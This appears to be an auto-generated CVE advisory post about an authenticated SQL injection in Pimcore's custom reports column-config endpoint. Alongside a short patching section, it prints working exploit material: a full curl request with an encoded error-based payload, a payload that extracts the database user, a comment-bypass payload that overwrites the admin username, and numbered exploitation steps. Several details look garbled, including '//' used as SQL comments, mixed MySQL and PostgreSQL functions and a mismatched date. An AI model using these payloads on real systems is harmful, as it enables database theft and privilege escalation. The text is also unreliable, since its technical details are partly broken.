Listen to this Post
The vulnerability exists in the columnConfigAction endpoint of the CustomReportsBundle. An attacker with reports_config permission sends a crafted JSON configuration via POST request to /admin/bundle/customreports/custom-report/column-config. The endpoint decodes the JSON and extracts user-controlled fields such as “sql”, “from”, “where”. These are concatenated directly into an SQL query string in Sql.php buildQueryString method (lines 89,100,107). A weak regex attempts to block DDL/DML keywords like UPDATE, DELETE, DROP, but can be bypassed using inline comments (e.g., UPDATE//). The query is executed without parameterization via $db->fetchAssociative($sql). If an error occurs, the database exception message is returned in the JSON response (controller line 234). This allows error-based SQL injection to exfiltrate data using EXTRACTVALUE or CONCAT. Attackers can retrieve usernames, database names, table names via information_schema, and even perform UPDATE/DELETE by bypassing the regex. The PoC shows extracting user(), current_setting, and updating admin username. The impact includes full database compromise, privilege escalation, and data integrity loss.
dailycve form:
Platform: Pimcore
Version: <=12.3.3
Vulnerability: SQL Injection
Severity: Critical
date: 2024-05-20
Prediction: Patch within 14 days
Analytics under What Undercode Say:
Identify vulnerable endpoint
curl -X POST http://localhost/admin/bundle/customreports/custom-report/column-config \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-pimcore-csrf-token: <valid_token>" \
--data "configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%221%20AND%20(SELECT%20EXTRACTVALUE(1%2cCONCAT(0x7e%2cuser()))%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22a%22%7d%5d&name=test"
Extract database user with error-based injection
configuration=[{"type":"sql","sql":"1 AND (SELECT 1 FROM (SELECT(EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user()),0x7e))))x)","from":"test","where":"1=1","groupby":"a"}]
Bypass regex to update admin (using comments)
configuration=[{"type":"sql","sql":"","from":"users","where":"id=1)//OR//1=1;//UPDATE//users//SET//name='hacked'//WHERE//name='admin';-- -","groupby":"a"}]
how Exploit:
- Login with reports_config permission. 2. Navigate to Custom Reports. 3. Intercept column-config request. 4. Replace configuration JSON with malicious SQL payload. 5. Observe error messages revealing data. 6. Use UNION or EXTRACTVALUE to enumerate tables. 7. Bypass filter with comments to execute UPDATE/DELETE.
Protection from this CVE:
Upgrade Pimcore to version >12.3.3. Apply input validation – use parameterized queries instead of concatenation. Enforce strict regex blocking all DML/DDL with comments. Disable detailed database error messages in JSON responses. Remove reports_config permission from untrusted users.
Impact:
Confidentiality (data theft via SELECT), Integrity (unauthorized UPDATE/INSERT/DELETE), Availability (potential table drops or resource exhaustion). Full database compromise, privilege escalation by altering admin credentials, compliance breach.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
